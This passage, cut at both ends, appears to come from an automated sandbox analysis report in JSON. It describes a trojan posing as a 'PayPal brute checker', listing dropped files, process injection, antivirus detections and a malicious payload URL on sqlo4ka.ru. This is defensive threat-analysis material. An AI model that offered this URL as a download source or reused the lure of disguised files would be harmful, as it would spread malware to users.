\"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"fontreview.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"fontreview.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")"],"description_v3":[{"type":"text","value":"\"PayPal.scr\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"Windows defender.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"WatchBull.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"static-3","type":0,"relevance":10,"name":"Timestamp in PE header is very old or in the future","description":"\"regedit.exe\" claims program is from Tue Aug 19 13:19:11 2087\n \"RuntimeBroker.exe\" claims program is from Sat Nov 23 16:18:50 2069\n \"WebHelper.exe\" claims program is from Thu Oct 2 02:15:43 2098\n \"fontreview.exe\" claims program is from Sun Jul 25 12:35:24 2088\n \"dasHost.exe\" claims program is from Sun Nov 28 19:41:53 2038\n \"WatchBull.exe\" claims program is from Mon Oct 18 05:32:01 2094\n \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" claims program is from Sat Jan 9 22:15:14 2077\n \"Windows defender.exe\" claims program is from Sat Feb 21 14:56:47 2043","description_v2":["\"regedit.exe\" claims program is from Tue Aug 19 13:19:11 2087","\"RuntimeBroker.exe\" claims program is from Sat Nov 23 16:18:50 2069","\"WebHelper.exe\" claims program is from Thu Oct 2 02:15:43 2098","\"fontreview.exe\" claims program is from Sun Jul 25 12:35:24 2088","\"dasHost.exe\" claims program is from Sun Nov 28 19:41:53 2038","\"WatchBull.exe\" claims program is from Mon Oct 18 05:32:01 2094","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" claims program is from Sat Jan 9 22:15:14 2077","\"Windows defender.exe\" claims program is from Sat Feb 21 14:56:47 2043"],"description_v3":[{"type":"text","value":"\"regedit.exe\" claims program is from Tue Aug 19 13:19:11 2087"},{"type":"linebreak"},{"type":"text","value":"\"RuntimeBroker.exe\" claims program is from Sat Nov 23 16:18:50 2069"},{"type":"linebreak"},{"type":"text","value":"\"WebHelper.exe\" claims program is from Thu Oct 2 02:15:43 2098"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" claims program is from Sun Jul 25 12:35:24 2088"},{"type":"linebreak"},{"type":"text","value":"\"dasHost.exe\" claims program is from Sun Nov 28 19:41:53 2038"},{"type":"linebreak"},{"type":"text","value":"\"WatchBull.exe\" claims program is from Mon Oct 18 05:32:01 2094"},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" claims program is from Sat Jan 9 22:15:14 2077"},{"type":"linebreak"},{"type":"text","value":"\"Windows defender.exe\" claims program is from Sat Feb 21 14:56:47 2043"}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Exploit/Shellcode","identifier":"summary-22","type":15,"relevance":10,"name":"Shows binary characteristics used in Spectre POC samples","description":"The cache line is flushed and the time-stamp counter and processor ID is being read","description_v2":["The cache line is flushed and the time-stamp counter and processor ID is being read"],"description_v3":[{"type":"text","value":"The cache line is flushed and the time-stamp counter and processor ID is being read"}],"origin":"Indicator Combinations","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"External Systems","identifier":"suricata-2","type":18,"relevance":10,"name":"Detected Suricata Alert","description":"Detected alert \"ET POLICY Possible External IP Lookup ipinfo.io\" (SID: 2020716, Rev: 4, Severity: 1) categorized as \"Potential Corporate Privacy Violation\"","description_v2":["Detected alert \"ET POLICY Possible External IP Lookup ipinfo.io\" (SID: 2020716, Rev: 4, Severity: 1) categorized as \"Potential Corporate Privacy Violation\""],"description_v3":[{"type":"text","value":"Detected alert \"ET POLICY Possible External IP Lookup ipinfo.io\" (SID: 2020716, Rev: 4, Severity: 1) categorized as \"Potential Corporate Privacy Violation\""}],"origin":"Suricata Alerts","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"External Systems","identifier":"avtest-7","type":12,"relevance":10,"name":"Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines","description":"9/67 reputation engines marked \"http://sqlo4ka.ru/dcrs/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe\" as malicious (13% detection rate)\n 8/68 reputation engines marked \"http://sqlo4ka.ru\" as malicious (11% detection rate)","description_v2":["9/67 reputation engines marked \"http://sqlo4ka.ru/dcrs/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe\" as malicious (13% detection rate)","8/68 reputation engines marked \"http://sqlo4ka.ru\" as malicious (11% detection rate)"],"description_v3":[{"type":"text","value":"9/67 reputation engines marked \"http://sqlo4ka.ru/dcrs/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe\" as malicious (13% detection rate)"},{"type":"linebreak"},{"type":"text","value":"8/68 reputation engines marked \"http://sqlo4ka.ru\" as malicious (11% detection rate)"}],"origin":"External System","attck_id":"T1120","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1120","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"External Systems","identifier":"avtest-3","type":12,"relevance":10,"name":"Sample was identified as malicious by a large number of Antivirus engines","description":"29/68 Antivirus vendors marked sample as malicious (42% detection rate)","description_v2":["29/68 Antivirus vendors marked sample as malicious (42% detection rate)"],"description_v3":[{"type":"text","value":"29/68 Antivirus vendors marked sample as malicious (42% detection rate)"}],"origin":"External System","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"External Systems","identifier":"avtest-0","type":12,"relevance":8,"name":"Sample was identified as malicious by at least one Antivirus engine","description":"29/68 Antivirus vendors marked sample as malicious (42% detection rate)","description_v2":["29/68 Antivirus vendors marked sample as malicious (42% detection rate)"],"description_v3":[{"type":"text","value":"29/68 Antivirus vendors marked sample as malicious (42% detection rate)"}],"origin":"External System","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"General","identifier":"binary-11","type":8,"relevance":10,"name":"The analysis extracted a file that was identified as malicious","description":"$43","description_v2":["4/94 Antivirus vendors marked dropped file \"regedit.exe\" as malicious (classified as \"Azden.A\" with 4% detection rate)","5/72 Antivirus vendors marked dropped file \"PayPal.exe\" as malicious (classified as \"Trojan.HackTool\" with 6% detection rate)","3/94 Antivirus vendors marked dropped file \"RuntimeBroker.exe\" as malicious (classified as \"Malicious_confidence_90%\" with 3% detection rate)","2/93 Antivirus vendors marked dropped file \"System.dll\" as malicious (classified as \"W32.Ramnit.CF\" with 2% detection rate)","45/72 Antivirus vendors marked dropped file \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" as malicious (classified as \"Disabler.U\" with 62% detection rate)","4/71 Antivirus vendors marked dropped file \"WebHelper.exe\" as malicious (classified as \"Trojan.Small\" with 5% detection rate)","41/72 Antivirus vendors marked dropped file \"fontreview.exe\" as malicious (classified as \"Trojan.Generic\" with 56% detection rate)","4/72 Antivirus vendors marked dropped file \"dasHost.exe\" as malicious (classified as \"Trojan.Azden\" with 5% detection rate)","1/72 Antivirus vendors marked dropped file \"WatchBull.exe\" as malicious (classified as \"Trojan.Small\" with 1% detection rate)","35/73 Antivirus vendors marked dropped file \"loader.bat\" as malicious (classified as \"Gen:Variant.Ursu\" with 47% detection rate)","14/72 Antivirus vendors marked dropped file \"Windows defender.exe\" as malicious (classified as \"Disabler.U\" with 19% detection rate)","45/72 Antivirus vendors marked dropped file \"urlref_httpsqlo4ka.ruDCRSdsock90cc6e447d345bb1f103751ab038bbce19190db6.exe\" as malicious (classified as \"Disabler.U\" with 62% detection rate)"],"description_v3":[{"type":"text","value":"4/94 Antivirus vendors marked dropped file \"regedit.exe\" as malicious (classified as \"Azden.A\" with 4% detection rate)"},{"type":"linebreak"},{"type":"text","value":"5/72 Antivirus vendors marked dropped file \"PayPal.exe\" as malicious (classified as \"Trojan.HackTool\" with 6% detection rate)"},{"type":"linebreak"},{"type":"text","value":"3/94 Antivirus vendors marked dropped file \"RuntimeBroker.exe\" as malicious (classified as \"Malicious_confidence_90%\" with 3% detection rate)"},{"type":"linebreak"},{"type":"text","value":"2/93 Antivirus vendors marked dropped file \"System.dll\" as malicious (classified as \"W32.Ramnit.CF\" with 2% detection rate)"},{"type":"linebreak"},{"type":"text","value":"45/72 Antivirus vendors marked dropped file \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" as malicious (classified as \"Disabler.U\" with 62% detection rate)"},{"type":"linebreak"},{"type":"text","value":"4/71 Antivirus vendors marked dropped file \"WebHelper.exe\" as malicious (classified as \"Trojan.Small\" with 5% detection rate)"},{"type":"linebreak"},{"type":"text","value":"41/72 Antivirus vendors marked dropped file \"fontreview.exe\" as malicious (classified as \"Trojan.Generic\" with 56% detection rate)"},{"type":"linebreak"},{"type":"text","value":"4/72 Antivirus vendors marked dropped file \"dasHost.exe\" as malicious (classified as \"Trojan.Azden\" with 5% detection rate)"},{"type":"linebreak"},{"type":"text","value":"1/72 Antivirus vendors marked dropped file \"WatchBull.exe\" as malicious (classified as \"Trojan.Small\" with 1% detection rate)"},{"type":"linebreak"},{"type":"text","value":"35/73 Antivirus vendors marked dropped file \"loader.bat\" as malicious (classified as \"Gen:Variant.Ursu\" with 47% detection rate)"},{"type":"linebreak"},{"type":"text","value":"14/72 Antivirus vendors marked dropped file \"Windows defender.exe\" as malicious (classified as \"Disabler.U\" with 19% detection rate)"},{"type":"linebreak"},{"type":"text","value":"45/72 Antivirus vendors marked dropped file \"urlref_httpsqlo4ka.ruDCRSdsock90cc6e447d345bb1f103751ab038bbce19190db6.exe\" as malicious (classified as \"Disabler.U\" with 62% detection rate)"}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"General","identifier":"target-58","type":9,"relevance":10,"name":"The analysis spawned a process that was identified as malicious","description":"5/72 Antivirus vendors marked spawned process \"PayPal.exe\" (PID: 3800) as malicious (classified as \"Trojan.HackTool\" with 6% detection rate)\n 35/73 Antivirus vendors marked spawned process \"loader.bat\" (PID: 4056) as malicious (classified as \"Gen:Variant.Ursu\" with 47% detection rate)\n 45/72 Antivirus vendors marked spawned process \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (PID: 2736) as malicious (classified as \"Disabler.U\" with 62% detection rate)\n 14/72 Antivirus vendors marked spawned process \"Windows defender.exe\" (PID: 1696) as malicious (classified as \"Disabler.U\" with 19% detection rate)\n 1/72 Antivirus vendors marked spawned process \"WatchBull.exe\" (PID: 1632) as malicious (classified as \"Trojan.Small\" with 1% detection rate)\n 41/72 Antivirus vendors marked spawned process \"fontreview.exe\" (PID: 3544) as malicious (classified as \"Trojan.Generic\" with 56% detection rate)","description_v2":["5/72 Antivirus vendors marked spawned process \"PayPal.exe\" (PID: 3800) as malicious (classified as \"Trojan.HackTool\" with 6% detection rate)","35/73 Antivirus vendors marked spawned process \"loader.bat\" (PID: 4056) as malicious (classified as \"Gen:Variant.Ursu\" with 47% detection rate)","45/72 Antivirus vendors marked spawned process \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (PID: 2736) as malicious (classified as \"Disabler.U\" with 62% detection rate)","14/72 Antivirus vendors marked spawned process \"Windows defender.exe\" (PID: 1696) as malicious (classified as \"Disabler.U\" with 19% detection rate)","1/72 Antivirus vendors marked spawned process \"WatchBull.exe\" (PID: 1632) as malicious (classified as \"Trojan.Small\" with 1% detection rate)","41/72 Antivirus vendors marked spawned process \"fontreview.exe\" (PID: 3544) as malicious (classified as \"Trojan.Generic\" with 56% detection rate)"],"description_v3":[{"type":"text","value":"5/72 Antivirus vendors marked spawned process \"PayPal.exe\" (PID: 3800) as malicious (classified as \"Trojan.HackTool\" with 6% detection rate)"},{"type":"linebreak"},{"type":"text","value":"35/73 Antivirus vendors marked spawned process \"loader.bat\" (PID: 4056) as malicious (classified as \"Gen:Variant.Ursu\" with 47% detection rate)"},{"type":"linebreak"},{"type":"text","value":"45/72 Antivirus vendors marked spawned process \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (PID: 2736) as malicious (classified as \"Disabler.U\" with 62% detection rate)"},{"type":"linebreak"},{"type":"text","value":"14/72 Antivirus vendors marked spawned process \"Windows defender.exe\" (PID: 1696) as malicious (classified as \"Disabler.U\" with 19% detection rate)"},{"type":"linebreak"},{"type":"text","value":"1/72 Antivirus vendors marked spawned process \"WatchBull.exe\" (PID: 1632) as malicious (classified as \"Trojan.Small\" with 1% detection rate)"},{"type":"linebreak"},{"type":"text","value":"41/72 Antivirus vendors marked spawned process \"fontreview.exe\" (PID: 3544) as malicious (classified as \"Trojan.Generic\" with 56% detection rate)"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Installation/Persistance","identifier":"api-20","type":6,"relevance":7,"name":"Allocates virtual memory in a remote process","description":"\"PayPalBrute_Checker.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Internet Explorer\\MAIN\\FeatureControl\\FEATURE_PROTOCOL_LOCKDOWN\"\n \"PayPal brute?checker.exe\" allocated memory in \"%APPDATA%\\Microsoft\\loader.bat\"\n \"PayPal brute?checker.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Policies\\Microsoft\\SQMClient\\Windows\"\n \"cmd.exe\" allocated memory in \"\\Device\\MountPointManager\"\n \"loader.bat\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\"","description_v2":["\"PayPalBrute_Checker.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Internet Explorer\\MAIN\\FeatureControl\\FEATURE_PROTOCOL_LOCKDOWN\"","\"PayPal brute?checker.exe\" allocated memory in \"%APPDATA%\\Microsoft\\loader.bat\"","\"PayPal brute?checker.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Policies\\Microsoft\\SQMClient\\Windows\"","\"cmd.exe\" allocated memory in \"\\Device\\MountPointManager\"","\"loader.bat\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\""],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Internet Explorer\\MAIN\\FeatureControl\\FEATURE_PROTOCOL_LOCKDOWN\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" allocated memory in \"%APPDATA%\\Microsoft\\loader.bat\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Policies\\Microsoft\\SQMClient\\Windows\""},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" allocated memory in \"\\Device\\MountPointManager\""},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\""}],"origin":"API Call","attck_id":"T1055","capec_id":"CAPEC-242","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Installation/Persistance","identifier":"api-0","type":6,"relevance":6,"name":"Writes data to a remote process","description":"$44","description_v2":["\"PayPalBrute_Checker.exe\" wrote 32 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\1337\\PayPal.scr\" (Handle: 624)","\"PayPalBrute_Checker.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\1337\\PayPal.scr\" (Handle: 624)","\"PayPalBrute_Checker.exe\" wrote 4 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\1337\\PayPal.scr\" (Handle: 624)","\"PayPalBrute_Checker.exe\" wrote 8 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\1337\\PayPal.scr\" (Handle: 624)","\"PayPalBrute_Checker.exe\" wrote 32 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\1337\\PayPal brute&checker.exe\" (Handle: 624)","\"PayPalBrute_Checker.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\1337\\PayPal brute&checker.exe\" (Handle: 624)","\"PayPalBrute_Checker.exe\" wrote 4 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\1337\\PayPal brute&checker.exe\" (Handle: 624)","\"PayPalBrute_Checker.exe\" wrote 8 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\1337\\PayPal brute&checker.exe\" (Handle: 624)","\"PayPal.scr\" wrote 32 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 632)","\"PayPal.scr\" wrote 52 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 632)","\"PayPal.scr\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 632)","\"PayPal.scr\" wrote 8 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 632)","\"PayPal brute?checker.exe\" wrote 32 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\PayPal.exe\" (Handle: 276)","\"PayPal brute?checker.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\PayPal.exe\" (Handle: 276)","\"PayPal brute?checker.exe\" wrote 8 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\PayPal.exe\" (Handle: 276)","\"PayPal brute?checker.exe\" wrote 4 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\PayPal.exe\" (Handle: 276)","\"PayPal brute?checker.exe\" wrote 32 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\loader.bat\" (Handle: 284)","\"PayPal brute?checker.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\loader.bat\" (Handle: 284)","\"PayPal brute?checker.exe\" wrote 8 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\loader.bat\" (Handle: 284)","\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 124)","\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 124)","\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 124)","\"cmd.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 124)","\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\SysWOW64\\timeout.exe\" (Handle: 136)","\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\SysWOW64\\timeout.exe\" (Handle: 136)","\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\timeout.exe\" (Handle: 136)","\"cmd.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\SysWOW64\\timeout.exe\" (Handle: 136)","\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Users\\Public\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Handle: 136)","\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Users\\Public\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Handle: 136)","\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Users\\Public\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Handle: 136)","\"cmd.exe\" wrote 8 bytes to a remote process \"C:\\Users\\Public\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Handle: 136)","\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 88)","\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 88)","\"cmd.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 88)","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 760)","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 760)","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 760)","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 760)","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 32 bytes to a remote process \"C:\\Media\\Windows defender.exe\" (Handle: 584)","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 52 bytes to a remote process \"C:\\Media\\Windows defender.exe\" (Handle: 584)","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 4 bytes to a remote process \"C:\\Media\\Windows defender.exe\" (Handle: 584)","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 8 bytes to a remote process \"C:\\Media\\Windows defender.exe\" (Handle: 584)","\"wscript.exe\" wrote 32 bytes to a remote process \"C:\\Media\\e6ee5674bb9446c78bbc5729af6e2c28.exe\" (Handle: 840)","\"wscript.exe\" wrote 52 bytes to a remote process \"C:\\Media\\e6ee5674bb9446c78bbc5729af6e2c28.exe\" (Handle: 840)","\"wscript.exe\" wrote 4 bytes to a remote process \"C:\\Media\\e6ee5674bb9446c78bbc5729af6e2c28.exe\" (Handle: 840)","\"wscript.exe\" wrote 8 bytes to a remote process \"C:\\Media\\e6ee5674bb9446c78bbc5729af6e2c28.exe\" (Handle: 840)","\"wscript.exe\" wrote 32 bytes to a remote process \"C:\\Media\\WatchBull.exe\" (Handle: 840)","\"wscript.exe\" wrote 52 bytes to a remote process \"C:\\Media\\WatchBull.exe\" (Handle: 840)","\"wscript.exe\" wrote 4 bytes to a remote process \"C:\\Media\\WatchBull.exe\" (Handle: 840)","\"wscript.exe\" wrote 8 bytes to a remote process \"C:\\Media\\WatchBull.exe\" (Handle: 840)"],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote 32 bytes to a remote process \"%APPDATA%\\1337\\PayPal.scr\" (Handle: 624)"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal.scr\" (Handle: 624)"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote 4 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal.scr\" (Handle: 624)"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote 8 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal.scr\" (Handle: 624)"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote 32 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal brute&checker.exe\" (Handle: 624)"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal brute&checker.exe\" (Handle: 624)"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote 4 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal brute&checker.exe\" (Handle: 624)"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote 8 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal brute&checker.exe\" (Handle: 624)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" wrote 32 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 632)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" wrote 52 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 632)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 632)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" wrote 8 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 632)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" wrote 32 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\PayPal.exe\" (Handle: 276)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\PayPal.exe\" (Handle: 276)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" wrote 8 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\PayPal.exe\" (Handle: 276)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" wrote 4 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\PayPal.exe\" (Handle: 276)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" wrote 32 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\loader.bat\" (Handle: 284)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\loader.bat\" (Handle: 284)"},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" wrote 8 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\loader.bat\" (Handle: 284)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 124)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 124)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 124)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 124)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\SysWOW64\\timeout.exe\" (Handle: 136)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 52 